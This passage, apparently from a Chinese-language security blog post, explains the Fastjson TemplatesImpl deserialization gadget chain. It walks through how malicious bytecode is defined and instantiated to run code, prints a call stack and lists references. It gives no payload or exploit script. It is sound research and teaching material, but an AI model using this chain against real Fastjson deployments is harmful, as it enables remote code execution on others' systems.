com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

首先对_name进行判断并不能为空，然后调用defineTransletClasses函数

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

使用了loader.defineClass加载了恶意对象的字节码，然后获取父类赋值到superClass，superClass.getName().equals父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

返回到上层函数，_class[_transletIndex].newInstance()创建恶意对象实例。

java.lang.Class#newInstance

这里直接无参数实例化了，调用了恶意类的构造函数完成代码执行。
当前调用栈

newInstance:410, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

参考

https://drops.blbana.cc/2020/04/01/Fastjson-TemplatesImpl-%E5%88%A9%E7%94%A8%E9%93%BE/#Fastjson-TemplatesImpl-利用链

https://www.mi1k7ea.com/2019/11/03/Fastjson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/

https://mntn0x.github.io/2020/04/07/Fastjson%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

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